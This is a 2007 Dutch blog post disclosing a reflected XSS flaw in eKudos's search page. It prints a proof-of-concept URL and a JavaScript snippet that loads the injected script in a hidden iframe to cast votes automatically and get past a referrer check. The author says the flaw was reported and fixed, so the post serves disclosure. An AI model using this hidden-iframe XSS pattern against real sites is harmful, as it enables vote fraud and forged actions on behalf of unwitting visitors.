maandag, maart 12, 2007

Stemfraude op eKudos - Deel 2

Afgelopen donderdag schreef ik een artikel over stemfraude op eKudos. Binnen enkele uren had eKudos haar website aangepast zodat deze vorm van misbruik niet meer mogelijk is. Kudos aan eKudos voor de snelle response :)
De beveiliging die eKudos heeft toegepast is een zogenaamde 'referrer check' waarbij zij controleren vanaf welk domein de aanroep afkomstig is. Toegegeven, een beetje flauw, maar ik heb een mogelijkheid gevonden om deze beveiliging te omzeilen.
eKudos heeft op tenminste één plek een XSS (cross site scripting) vulnerability. Kwaadwillende gebruikers kunnen zo HTML en/of Javascript injecteren in de pagina's van eKudos. Met een eenvoudig stukje Javascript is het via deze bug mogelijk een redirect te triggeren op eKudos zelf, waardoor de referrer afkomstig is van het domein eKudos.nl.

De XSS vulnerability bevindt zich in het zoek script van eKudos:
http://www.ekudos.nl/zoeken/%3Cscript%3Ealert(%22hello%20world%22)%3B%3C%2Fscript%3E

Met behulp van onderstaande code kan via deze manier automatisch een stem worden uitgebracht:
<div id="ek"></div>
<script type="text/javascript">
var url = 'http://www.ekudos.nl/kudobox/kudo?url=' + escape('http://JOUW_WEBSITE_URL');
var xpl = 'http://www.ekudos.nl/zoeken/' + encodeURIComponent('<scr'+'ipt>document.location.href=\'' + url + '\';</scr' + 'ipt>');
var el = document.getElementById('ek');
var ifr = document.createElement('iframe');
ifr.style.width = '400px';
ifr.style.height = '400px';
ifr.style.visibility = 'hidden';
ifr.src = xpl;
el.appendChild(ifr);
</script>
Ik heb de makers van eKudos reeds geinformeerd over dit probleem. Wederom waren ze er als de kippen bij; het probleem is inmiddels al verholpen. Goed werk, jongens!

Labels: ,